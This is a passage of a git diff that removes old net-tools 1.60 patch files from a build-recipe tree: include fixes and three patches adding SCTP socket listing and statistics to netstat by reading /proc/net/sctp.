--#ifdef __GLIBC__
--#include <net/route.h>
--#else
-+#ifdef HAVE_IPV6_ROUTE_H
- #include <netinet6/ipv6_route.h> /* glibc does not have this */
-+#else
-+#include <net/route.h>
- #endif
- #include "version.h"
- #include "net-support.h"
-Index: net-tools-1.60/lib/inet_sr.c
-===================================================================
---- net-tools-1.60.orig/lib/inet_sr.c
-+++ net-tools-1.60/lib/inet_sr.c
-@@ -26,6 +26,7 @@
- #include <string.h>
- #include <stdio.h>
- #include <unistd.h>
-+#include <asm-generic/param.h>
- #include "version.h"
- #include "net-support.h"
- #include "pathnames.h"
-Index: net-tools-1.60/lib/util-ank.c
-===================================================================
---- net-tools-1.60.orig/lib/util-ank.c
-+++ net-tools-1.60/lib/util-ank.c
-@@ -14,6 +14,7 @@
- * Rani Assaf <rani@magic.metawire.com> 980929: resolve addresses
- */
-
-+#include <limits.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
-Index: net-tools-1.60/mii-tool.c
-===================================================================
---- net-tools-1.60.orig/mii-tool.c
-+++ net-tools-1.60/mii-tool.c
-@@ -47,10 +47,6 @@ static char Version[] = "$Id: mii-tool.c
- #include <net/if.h>
- #include <linux/sockios.h>
-
--#ifndef __GLIBC__
--#include <linux/if_arp.h>
--#include <linux/if_ether.h>
--#endif
- #include "mii.h"
- #include "version.h"
-
-Index: net-tools-1.60/netstat.c
-===================================================================
---- net-tools-1.60.orig/netstat.c
-+++ net-tools-1.60/netstat.c
-@@ -87,6 +87,7 @@
- #include <dirent.h>
- #include <sys/stat.h>
- #include <sys/types.h>
-+#include <asm-generic/param.h>
-
- #include "net-support.h"
- #include "pathnames.h"
-Index: net-tools-1.60/slattach.c
-===================================================================
---- net-tools-1.60.orig/slattach.c
-+++ net-tools-1.60/slattach.c
-@@ -44,6 +44,7 @@
- #include <string.h>
- #include <unistd.h>
- #include <getopt.h>
-+#include <termios.h>
- #include <linux/if_slip.h>
-
- #if defined(__GLIBC__)
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch
deleted file mode 100644
index 78daf6c3ed..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch
+++ /dev/null
@@ -1,635 +0,0 @@
-From 23276afe270009420cfbc52bffafdd25ac0817fe Mon Sep 17 00:00:00 2001
-From: Li Zhou <li.zhou@windriver.com>
-Date: Thu, 14 Jan 2016 17:01:29 +0800
-Subject: [PATCH 1/3] net-tools: add SCTP support for netstat
-
-Upstream-Status: pending
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
----
- netstat.c | 411 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
- statistics.c | 68 +++++++++-
- 2 files changed, 465 insertions(+), 14 deletions(-)
-
-Index: net-tools-1.60/netstat.c
-===================================================================
---- net-tools-1.60.orig/netstat.c
-+++ net-tools-1.60/netstat.c
-@@ -58,6 +58,7 @@
- *
- *990420 {1.38} Tuan Hoang removed a useless assignment from igmp_do_one()
- *20010404 {1.39} Arnaldo Carvalho de Melo - use setlocale
-+ *20050516 {1.40} Ivan Skytte Joergensen:Added SCTP support
- *
- * This program is free software; you can redistribute it
- * and/or modify it under the terms of the GNU General
-@@ -106,7 +107,7 @@
- #endif
-
- /* prototypes for statistics.c */
--void parsesnmp(int, int, int);
-+void parsesnmp(int, int, int, int);
- void inittab(void);
- void parsesnmp6(int, int, int);
- void inittab6(void);
-@@ -119,6 +120,28 @@ typedef enum {
- SS_DISCONNECTING /* in process of disconnecting */
- } socket_state;
-
-+#define SCTP_NSTATES 9 /* The number of states in array*/
-+
-+static const char *sctp_state[] = {
-+ N_("EMPTY"),
-+ N_("CLOSED"),
-+ N_("COOKIE_WAIT"),
-+ N_("COOKIE_ECHOED"),
-+ N_("ESTABLISHED"),
-+ N_("SHUTDOWN_PENDING"),
-+ N_("SHUTDOWN_SENT"),
-+ N_("SHUTDOWN_RECEIVED"),
-+ N_("SHUTDOWN_ACK_SENT")
-+};
-+
-+#define SCTP_NTYPES 3 /* The number of types in array */
-+
-+static const char *sctp_type[] = {
-+ N_("udp"),
-+ N_("udp-high-bw"),
-+ N_("tcp")
-+};
-+
- #define SO_ACCEPTCON (1<<16) /* performed a listen */
- #define SO_WAITDATA (1<<17) /* wait data to read */
- #define SO_NOSPACE (1<<18) /* no space to write */
-@@ -149,6 +172,7 @@ int flag_opt = 0;
- int flag_raw = 0;
- int flag_tcp = 0;
- int flag_udp = 0;
-+int flag_sctp= 0;
- int flag_igmp= 0;
- int flag_rom = 0;
- int flag_exp = 1;
-@@ -995,6 +1019,365 @@ static int udp_info(void)
- udp_do_one);
- }
-
-+static const char *sctp_socket_type_str(int type) {
-+ if(type>=0 && type<SCTP_NTYPES)
-+ return sctp_type[type];
-+ else {
-+ static char type_str_buf[64];
-+ sprintf(type_str_buf,"UNKNOWN(%d)",type);
-+ return type_str_buf;
-+ }
-+}
-+
-+static const char *sctp_state_str(int state)
-+{
-+ if(state>=0 && state<SCTP_NSTATES)
-+ return sctp_state[state];
-+ else {
-+ static char state_str_buf[64];
-+ sprintf(state_str_buf,"UNKNOWN(%d)",state);
-+ return state_str_buf;
-+ }
-+}
-+
-+static const char *sctp_socket_state_str(int state)
-+{
-+ if(state>=0 && state<=10)
-+ return tcp_state[state];
-+ else {
-+ static char state_str_buf[64];
-+ sprintf(state_str_buf,"UNKNOWN(%d)",state);
-+ return state_str_buf;
-+ }
-+}
-+
-+static struct aftype *process_sctp_addr_str(const char *addr_str, struct sockaddr *sa)
-+{
-+ if (strchr(addr_str,':')) {
-+#if HAVE_AFINET6
-+ extern struct aftype inet6_aftype;
-+ /* Demangle what the kernel gives us */
-+ struct in6_addr in6;
-+ char addr6_str[INET6_ADDRSTRLEN];
-+ unsigned u0,u1,u2,u3,u4,u5,u6,u7;
-+ sscanf(addr_str, "%04X:%04X:%04X:%04X:%04X:%04X:%04X:%04X",
-+ &u0, &u1, &u2, &u3, &u4, &u5, &u6, &u7);
-+ in6.s6_addr16[0] = htons(u0);
-+ in6.s6_addr16[1] = htons(u1);
-+ in6.s6_addr16[2] = htons(u2);
-+ in6.s6_addr16[3] = htons(u3);
-+ in6.s6_addr16[4] = htons(u4);
-+ in6.s6_addr16[5] = htons(u5);
-+ in6.s6_addr16[6] = htons(u6);
-+ in6.s6_addr16[7] = htons(u7);
-+
-+ inet_ntop(AF_INET6, &in6, addr6_str, sizeof(addr6_str));
-+ inet6_aftype.input(1, addr6_str, sa);
-+ sa->sa_family = AF_INET6;
-+#endif
-+ } else {
-+ ((struct sockaddr_in*)sa)->sin_addr.s_addr = inet_addr(addr_str);
-+ sa->sa_family = AF_INET;
-+ }
-+ return get_afntype(sa->sa_family);
-+}
-+
-+static void sctp_eps_do_one(int lnr, char *line)
-+{
-+ char buffer[1024];
-+ int type, state, port;
-+ int uid;
-+ unsigned long inode;
-+
-+ struct aftype *ap;
-+#if HAVE_AFINET6
-+ struct sockaddr_in6 localaddr;
-+#else
-+ struct sockaddr_in localaddr;
-+#endif
-+ const char *sty_str;
-+ const char *sst_str;
-+ const char *lport_str;
-+ const char *uid_str;
-+ const char *inode_str;
-+ const char *pladdr_str;
-+ char *laddrs_str;
-+
-+ if(lnr == 0) {
-+ /* ENDPT SOCK STY SST HBKT LPORT uid inode pladdr LADDRS*/
-+ return;
-+ }
-+
-+ strtok(line," \t\n"); /*skip ptr*/
-+ strtok(0," \t\n"); /*skip ptr*/
-+ sty_str = strtok(0," \t\n");
-+ sst_str = strtok(0," \t\n");
-+ strtok(0," \t\n"); /*skip hash bucket*/
-+ lport_str=strtok(0," \t\n");
-+ uid_str = strtok(0," \t\n");
-+ inode_str = strtok(0," \t\n");
-+ pladdr_str = strtok(0," \t\n");
-+ laddrs_str=strtok(0,"\t\n");
-+
-+ type = atoi(sty_str);
-+ state = atoi(sst_str);
-+ port = atoi(lport_str);
-+ uid = atoi(uid_str);
-+ inode = strtoul(inode_str,0,0);
-+
-+ if(flag_sctp<=1) {
-+ /* only print the primary address */
-+ char local_addr[64];
-+ char local_port[16];
-+
-+ ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(port), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ printf("sctp ");
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-47s", buffer);
-+ printf(" %-12s", sctp_socket_state_str(state));
-+ } else {
-+ /*print all addresses*/
-+ const char *this_local_addr;
-+ int first=1;
-+ char local_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(port), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+ for(this_local_addr=strtok(laddrs_str," \t\n");
-+ this_local_addr;
-+ this_local_addr=strtok(0," \t\n"))
-+ {
-+ char local_addr[64];
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp ");
-+ else
-+ printf(" ");
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-47s", buffer);
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+ first = 0;
-+ }
-+ }
-+
-+ finish_this_one(uid,inode,"");
-+}
-+
-+static void sctp_assoc_do_one(int lnr, char *line)
-+{
-+ char buffer[1024];
-+ int type, state, state2, lport,rport;
-+ int uid;
-+ unsigned rxqueue,txqueue;
-+ unsigned long inode;
-+
-+ struct aftype *ap;
-+#if HAVE_AFINET6
-+ struct sockaddr_in6 localaddr,remoteaddr;
-+#else
-+ struct sockaddr_in localaddr,remoteaddr;
-+#endif
-+ const char *sty_str;
-+ const char *sst_str;
-+ const char *st_str;
-+ const char *txqueue_str;
-+ const char *rxqueue_str;
-+ const char *lport_str,*rport_str;
-+ const char *uid_str;
-+ const char *inode_str;
-+ const char *pladdr_str;
-+ char *laddrs_str;
-+ const char *praddr_str;
-+ char *raddrs_str;
-+
-+ if(lnr == 0) {
-+ /* ASSOC SOCK STY SST ST HBKT tx_queue rx_queue uid inode LPORT RPORT pladdr praddr LADDRS <-> RADDRS*/
-+ return;
-+ }
-+
-+ strtok(line," \t\n"); /*skip ptr*/
-+ strtok(0," \t\n"); /*skip ptr*/
-+ sty_str = strtok(0," \t\n");
-+ sst_str = strtok(0," \t\n");
-+ st_str = strtok(0," \t\n");
-+ strtok(0," \t\n"); /*skip hash bucket*/
-+ txqueue_str = strtok(0," \t\n");
-+ rxqueue_str = strtok(0," \t\n");
-+ uid_str = strtok(0," \t\n");
-+ inode_str = strtok(0," \t\n");
-+ lport_str=strtok(0," \t\n");
-+ rport_str=strtok(0," \t\n");
-+ pladdr_str = strtok(0," \t\n");
-+ praddr_str = strtok(0," \t\n");
-+ laddrs_str=strtok(0,"<->\t\n");
-+ raddrs_str=strtok(0,"<->\t\n");
-+
-+ type = atoi(sty_str);
-+ state = atoi(sst_str);
-+ state2 = atoi(st_str);
-+ txqueue = atoi(txqueue_str);
-+ rxqueue = atoi(rxqueue_str);
-+ uid = atoi(uid_str);
-+ inode = strtoul(inode_str,0,0);
-+ lport = atoi(lport_str);
-+ rport = atoi(rport_str);
-+
-+ if(flag_sctp<=1) {
-+ /* only print the primary addresses */
-+ char local_addr[64];
-+ char local_port[16];
-+ char remote_addr[64];
-+ char remote_port[16];
-+
-+ ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(lport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ ap = process_sctp_addr_str(praddr_str, (struct sockaddr*)&remoteaddr);
-+ if(ap)
-+ safe_strncpy(remote_addr,
-+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-+ sizeof(remote_addr));
-+ else
-+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-+
-+ snprintf(remote_port, sizeof(remote_port), "%s",
-+ get_sname(htons(rport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ printf("sctp");
-+ printf(" %6u %6u ", rxqueue, txqueue);
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ printf("%-23s", buffer);
-+ printf(" ");
-+ sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ printf("%-23s", buffer);
-+ printf(" %-12s", sctp_socket_state_str(state));
-+ } else {
-+ /*print all addresses*/
-+ const char *this_local_addr;
-+ const char *this_remote_addr;
-+ char *ss1,*ss2;
-+ int first=1;
-+ char local_port[16];
-+ char remote_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(lport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+ snprintf(remote_port, sizeof(remote_port), "%s",
-+ get_sname(htons(rport), "sctp",
-+ flag_not & FLAG_NUM_PORT));
-+
-+ this_local_addr=strtok_r(laddrs_str," \t\n",&ss1);
-+ this_remote_addr=strtok_r(raddrs_str," \t\n",&ss2);
-+ while(this_local_addr || this_remote_addr) {
-+ char local_addr[64];
-+ char remote_addr[64];
-+ if(this_local_addr) {
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+ }
-+ if(this_remote_addr) {
-+ ap = process_sctp_addr_str(this_remote_addr, (struct sockaddr*)&remoteaddr);
-+ if(ap)
-+ safe_strncpy(remote_addr,
-+ ap->sprint((struct sockaddr *) &remoteaddr, flag_not),
-+ sizeof(remote_addr));
-+ else
-+ sprintf(remote_addr,_("unsupported address family %d"), ((struct sockaddr*)&remoteaddr)->sa_family);
-+ }
-+
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp %6u %6u ", rxqueue, txqueue);
-+ else
-+ printf(" ");
-+ if(this_local_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", local_addr, local_port);
-+ else
-+ sprintf(buffer,"%s", local_addr);
-+ printf("%-23s", buffer);
-+ } else
-+ printf("%-23s", "");
-+ printf(" ");
-+ if(this_remote_addr) {
-+ if(first)
-+ sprintf(buffer,"%s:%s", remote_addr, remote_port);
-+ else
-+ sprintf(buffer,"%s", remote_addr);
-+ printf("%-23s", buffer);
-+ } else
-+ printf("%-23s", "");
-+
-+ printf(" %-12s", first?sctp_socket_state_str(state):"");
-+
-+ first = 0;
-+ this_local_addr=strtok_r(0," \t\n",&ss1);
-+ this_remote_addr=strtok_r(0," \t\n",&ss2);
-+ }
-+ }
-+
-+ finish_this_one(uid,inode,"");
-+}
-+
-+static int sctp_info_eps(void)
-+{
-+#if !defined(_PATH_PROCNET_SCTP_EPS)
-+#define _PATH_PROCNET_SCTP_EPS "/proc/net/sctp/eps"
-+#endif
-+ INFO_GUTS(_PATH_PROCNET_SCTP_EPS, "AF INET (sctp)",
-+ sctp_eps_do_one);
-+}
-+
-+static int sctp_info_assocs(void)
-+{
-+#if !defined(_PATH_PROCNET_SCTP_ASSOCS)
-+#define _PATH_PROCNET_SCTP_ASSOCS "/proc/net/sctp/assocs"
-+#endif
-+ INFO_GUTS(_PATH_PROCNET_SCTP_ASSOCS, "AF INET (sctp)",
-+ sctp_assoc_do_one);
-+}
-+
-+static int sctp_info(void)
-+{
-+ if(flag_all)
-+ sctp_info_eps();
-+ return sctp_info_assocs();
-+}
-+
- static void raw_do_one(int lnr, const char *line)
- {
- char buffer[8192], local_addr[64], rem_addr[64];
-@@ -1558,7 +1941,7 @@ static void usage(void)
- fprintf(stderr, _(" -F, --fib display Forwarding Information Base (default)\n"));
- fprintf(stderr, _(" -C, --cache display routing cache instead of FIB\n\n"));
-
-- fprintf(stderr, _(" <Socket>={-t|--tcp} {-u|--udp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom\n"));
-+ fprintf(stderr, _(" <Socket>={-t|--tcp} {-u|--udp} {-S|--sctp} {-w|--raw} {-x|--unix} --ax25 --ipx --netrom\n"));
- fprintf(stderr, _(" <AF>=Use '-6|-4' or '-A <af>' or '--<af>'; default: %s\n"), DFLT_AF);
- fprintf(stderr, _(" List of possible address families (which support routing):\n"));
- print_aflist(1); /* 1 = routeable */
-@@ -1583,6 +1966,7 @@ int main
- {"protocol", 1, 0, 'A'},
- {"tcp", 0, 0, 't'},
- {"udp", 0, 0, 'u'},
-+ {"sctp", 0, 0, 'S' },
- {"raw", 0, 0, 'w'},
- {"unix", 0, 0, 'x'},
- {"listening", 0, 0, 'l'},
-@@ -1613,7 +1997,7 @@ int main
- getroute_init(); /* Set up AF routing support */
-
- afname[0] = '\0';
-- while ((i = getopt_long(argc, argv, "MCFA:acdegphinNorstuWVv?wxl64", longopts, &lop)) != EOF)
-+ while ((i = getopt_long(argc, argv, "MCFA:acdegphinNorstuSWVv?wxl64", longopts, &lop)) != EOF)
- switch (i) {
- case -1:
- break;
-@@ -1705,10 +2089,12 @@ int main
- case 't':
- flag_tcp++;
- break;
--
- case 'u':
- flag_udp++;
- break;
-+ case 'S':
-+ flag_sctp++;
-+ break;
- case 'w':
- flag_raw++;
- break;
-@@ -1726,13 +2112,13 @@ int main
- if (flag_int + flag_rou + flag_mas + flag_sta > 1)
- usage();
-
-- if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_raw))
-- flag_tcp = flag_udp = flag_raw = 1;
-+ if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_sctp || flag_raw))
-+ flag_tcp = flag_udp = flag_sctp = flag_raw = 1;
-
-- if ((flag_tcp || flag_udp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6))
-+ if ((flag_tcp || flag_udp || flag_sctp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6))
- flag_inet = flag_inet6 = 1;
-
-- flag_arg = flag_tcp + flag_udp + flag_raw + flag_unx + flag_ipx
-+ flag_arg = flag_tcp + flag_udp + flag_sctp + flag_raw + flag_unx + flag_ipx
- + flag_ax25 + flag_netrom + flag_igmp + flag_x25;
-
- if (flag_mas) {
-@@ -1760,7 +2146,7 @@ int main
- char buf[256];
- if (!afname[0]) {
- inittab();
-- parsesnmp(flag_raw, flag_tcp, flag_udp);
-+ parsesnmp(flag_raw, flag_tcp, flag_udp, flag_sctp);
- } else {
- safe_strncpy(buf, afname, sizeof(buf));
- tmp1 = buf;
-@@ -1815,7 +2201,7 @@ int main
- return (i);
- }
- for (;;) {
-- if (!flag_arg || flag_tcp || flag_udp || flag_raw) {
-+ if (!flag_arg || flag_tcp || flag_udp || flag_sctp || flag_raw) {
- #if HAVE_AFINET
- prg_cache_load();
- printf(_("Active Internet connections ")); /* xxx */
-@@ -1854,6 +2240,11 @@ int main
- if (i)
- return (i);
- }
-+ if (!flag_arg || flag_sctp) {
-+ i = sctp_info();
-+ if (i)
-+ return (i);
-+ }
- if (!flag_arg || flag_raw) {
- i = raw_info();
- if (i)
-Index: net-tools-1.60/statistics.c
-===================================================================
---- net-tools-1.60.orig/statistics.c
-+++ net-tools-1.60/statistics.c
-@@ -21,7 +21,7 @@
- #define UFWARN(x)
- #endif
-
--int print_static,f_raw,f_tcp,f_udp,f_unknown = 1;
-+int print_static,f_raw,f_tcp,f_udp,f_sctp,f_unknown = 1;
-
- enum State {
- number = 0, opt_number, i_forward, i_inp_icmp, i_outp_icmp, i_rto_alg,
-@@ -297,6 +297,27 @@ struct entry Tcpexttab[] =
- { "TCPRenoRecoveryFail", N_("%llu classic Reno fast retransmits failed"), opt_number },
- };
-
-+struct entry Sctptab[] =
-+{
-+ {"SctpCurrEstab", N_("%u Current Associations"), number},
-+ {"SctpActiveEstabs", N_("%u Active Associations"), number},
-+ {"SctpPassiveEstabs", N_("%u Passive Associations"), number},
-+ {"SctpAborteds", N_("%u Number of Aborteds "), number},
-+ {"SctpShutdowns", N_("%u Number of Graceful Terminations"), number},
-+ {"SctpOutOfBlues", N_("%u Number of Out of Blue packets"), number},
-+ {"SctpChecksumErrors", N_("%u Number of Packets with invalid Checksum"), number},
-+ {"SctpOutCtrlChunks", N_("%u Number of control chunks sent"), number},
-+ {"SctpOutOrderChunks", N_("%u Number of ordered chunks sent"), number},
-+ {"SctpOutUnorderChunks", N_("%u Number of Unordered chunks sent"), number},
-+ {"SctpInCtrlChunks", N_("%u Number of control chunks received"), number},
-+ {"SctpInOrderChunks", N_("%u Number of ordered chunks received"), number},
-+ {"SctpInUnorderChunks", N_("%u Number of Unordered chunks received"), number},
-+ {"SctpFragUsrMsgs", N_("%u Number of messages fragmented"), number},
-+ {"SctpReasmUsrMsgs", N_("%u Number of messages reassembled "), number},
-+ {"SctpOutSCTPPacks", N_("%u Number of SCTP packets sent"), number},
-+ {"SctpInSCTPPacks", N_("%u Number of SCTP packets received"), number},
-+};
-+
- struct tabtab {
- char *title;
- struct entry *tab;
-@@ -310,6 +331,7 @@ struct tabtab snmptabs[] =
- {"Icmp", Icmptab, sizeof(Icmptab), &f_raw},
- {"Tcp", Tcptab, sizeof(Tcptab), &f_tcp},
- {"Udp", Udptab, sizeof(Udptab), &f_udp},
-+ {"Sctp", Sctptab, sizeof(Sctptab), &f_sctp},
- {"TcpExt", Tcpexttab, sizeof(Tcpexttab), &f_tcp},
- {NULL}
- };
-@@ -499,12 +521,40 @@ void process6_fd(FILE *f)
-
- }
-
--void parsesnmp(int flag_raw, int flag_tcp, int flag_udp)
-+/* Process a file with name-value lines (like /proc/net/sctp/snmp) */
-+void process_fd2(FILE *f, const char *filename)
-+{
-+ char buf1[1024];
-+ char *sp;
-+ struct tabtab *tab;
-+
-+ tab = newtable(snmptabs, "Sctp");
-+
-+ while (fgets(buf1, sizeof buf1, f)) {
-+ sp = buf1 + strcspn(buf1, " \t\n");
-+ if (!sp)
-+ goto formaterr;
-+ *sp = '\0';
-+ sp++;
-+
-+ sp += strspn(sp, " \t\n");
-+
-+ if (*sp != '\0' && *(tab->flag))
-+ printval(tab, buf1, strtoul(sp, 0, 10));
-+ }
-+ return;
-+
-+formaterr:
-+ fprintf(stderr,_("error parsing %s\n"), filename);
-+ return;
-+}
-+
-+void parsesnmp(int flag_raw, int flag_tcp, int flag_udp, int flag_sctp)
- {
- FILE *f;
-
-- f_raw = flag_raw; f_tcp = flag_tcp; f_udp = flag_udp;
--
-+ f_raw = flag_raw; f_tcp = flag_tcp; f_udp = flag_udp; f_sctp = flag_sctp;
-+
- f = proc_fopen("/proc/net/snmp");
- if (!f) {
- perror(_("cannot open /proc/net/snmp"));
-@@ -530,6 +580,16 @@ void parsesnmp(int flag_raw, int flag_tc
-
- fclose(f);
- }
-+
-+ f = fopen("/proc/net/sctp/snmp", "r");
-+ if (f) {
-+ process_fd2(f,"/proc/net/sctp/snmp");
-+ if (ferror(f))
-+ perror("/proc/net/sctp/snmp");
-+
-+ fclose(f);
-+ }
-+
- return;
- }
-
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch
deleted file mode 100644
index d34e651327..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 14287b594e1f02b811f889fb515c1a51b72c08d4 Mon Sep 17 00:00:00 2001
-From: Li Zhou <li.zhou@windriver.com>
-Date: Thu, 14 Jan 2016 17:07:48 +0800
-Subject: [PATCH 2/3] net-tools: add SCTP support for netstat
-
-Upstream-Status: pending
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
----
- netstat.c | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/netstat.c b/netstat.c
-index 5d1a4a1..56a15c2 100644
---- a/netstat.c
-+++ b/netstat.c
-@@ -2104,7 +2104,7 @@ int main
- usage();
-
- if ((flag_inet || flag_inet6 || flag_sta) && !(flag_tcp || flag_udp || flag_sctp || flag_raw))
-- flag_tcp = flag_udp = flag_sctp = flag_raw = 1;
-+ flag_tcp = flag_udp = flag_raw = 1;
-
- if ((flag_tcp || flag_udp || flag_sctp || flag_raw || flag_igmp) && !(flag_inet || flag_inet6))
- flag_inet = flag_inet6 = 1;
---
-1.8.5.2.233.g932f7e4
-
diff --git a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch b/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch
deleted file mode 100644
index 8b2ecab707..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch
+++ /dev/null
@@ -1,363 +0,0 @@
-From 1d386279a449a1a6b96b88a71f35bf13b14b2c2c Mon Sep 17 00:00:00 2001
-From: Li Zhou <li.zhou@windriver.com>
-Date: Thu, 14 Jan 2016 17:11:24 +0800
-Subject: [PATCH 3/3] net-tools: add SCTP support for netstat
-
-Upstream-Status: pending
-
-Signed-off-by: Li Zhou <li.zhou@windriver.com>
----
- netstat.c | 282 ++++++++++++++++++++++++--------------------------------------
- 1 file changed, 108 insertions(+), 174 deletions(-)
-
-diff --git a/netstat.c b/netstat.c
-index 56a15c2..86adadb 100644
---- a/netstat.c
-+++ b/netstat.c
-@@ -1095,23 +1095,21 @@ static void sctp_eps_do_one(int lnr, char *line)
- const char *lport_str;
- const char *uid_str;
- const char *inode_str;
-- const char *pladdr_str;
- char *laddrs_str;
-
- if(lnr == 0) {
-- /* ENDPT SOCK STY SST HBKT LPORT uid inode pladdr LADDRS*/
-+ /* ENDPT SOCK STY SST HBKT LPORT UID INODE LADDRS */
- return;
- }
-
-- strtok(line," \t\n"); /*skip ptr*/
-- strtok(0," \t\n"); /*skip ptr*/
-+ strtok(line," \t\n"); /*skip endpt*/
-+ strtok(0," \t\n"); /*skip sock*/
- sty_str = strtok(0," \t\n");
- sst_str = strtok(0," \t\n");
- strtok(0," \t\n"); /*skip hash bucket*/
- lport_str=strtok(0," \t\n");
- uid_str = strtok(0," \t\n");
- inode_str = strtok(0," \t\n");
-- pladdr_str = strtok(0," \t\n");
- laddrs_str=strtok(0,"\t\n");
-
- type = atoi(sty_str);
-@@ -1119,61 +1117,35 @@ static void sctp_eps_do_one(int lnr, char *line)
- port = atoi(lport_str);
- uid = atoi(uid_str);
- inode = strtoul(inode_str,0,0);
--
-- if(flag_sctp<=1) {
-- /* only print the primary address */
-- char local_addr[64];
-- char local_port[16];
--
-- ap = process_sctp_addr_str(pladdr_str, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
--
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(port), "sctp",
-- flag_not & FLAG_NUM_PORT));
--
-- printf("sctp ");
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-- printf("%-47s", buffer);
-- printf(" %-12s", sctp_socket_state_str(state));
-- } else {
-- /*print all addresses*/
-- const char *this_local_addr;
-- int first=1;
-- char local_port[16];
-- snprintf(local_port, sizeof(local_port), "%s",
-- get_sname(htons(port), "sctp",
-- flag_not & FLAG_NUM_PORT));
-- for(this_local_addr=strtok(laddrs_str," \t\n");
-- this_local_addr;
-- this_local_addr=strtok(0," \t\n"))
-- {
-- char local_addr[64];
-- ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-- if(ap)
-- safe_strncpy(local_addr,
-- ap->sprint((struct sockaddr *) &localaddr, flag_not),
-- sizeof(local_addr));
-- else
-- sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-
-- if(!first) printf("\n");
-- if(first)
-- printf("sctp ");
-- else
-- printf(" ");
-- sprintf(buffer,"%s:%s", local_addr, local_port);
-- printf("%-47s", buffer);
-- printf(" %-12s", first?sctp_socket_state_str(state):"");
-- first = 0;
-- }
-+ const char *this_local_addr;
-+ int first=1;
-+ char local_port[16];
-+ snprintf(local_port, sizeof(local_port), "%s",
-+ get_sname(htons(port), "sctp", flag_not & FLAG_NUM_PORT));
-+ for(this_local_addr=strtok(laddrs_str," \t\n");
-+ this_local_addr;
-+ this_local_addr=strtok(0," \t\n"))
-+ {
-+ char local_addr[64];
-+ ap = process_sctp_addr_str(this_local_addr, (struct sockaddr*)&localaddr);
-+ if(ap)
-+ safe_strncpy(local_addr,
-+ ap->sprint((struct sockaddr *) &localaddr, flag_not),
-+ sizeof(local_addr));
-+ else
-+ sprintf(local_addr,_("unsupported address family %d"), ((struct sockaddr*)&localaddr)->sa_family);
-+
-+ if(!first) printf("\n");
-+ if(first)
-+ printf("sctp ");
-+ else
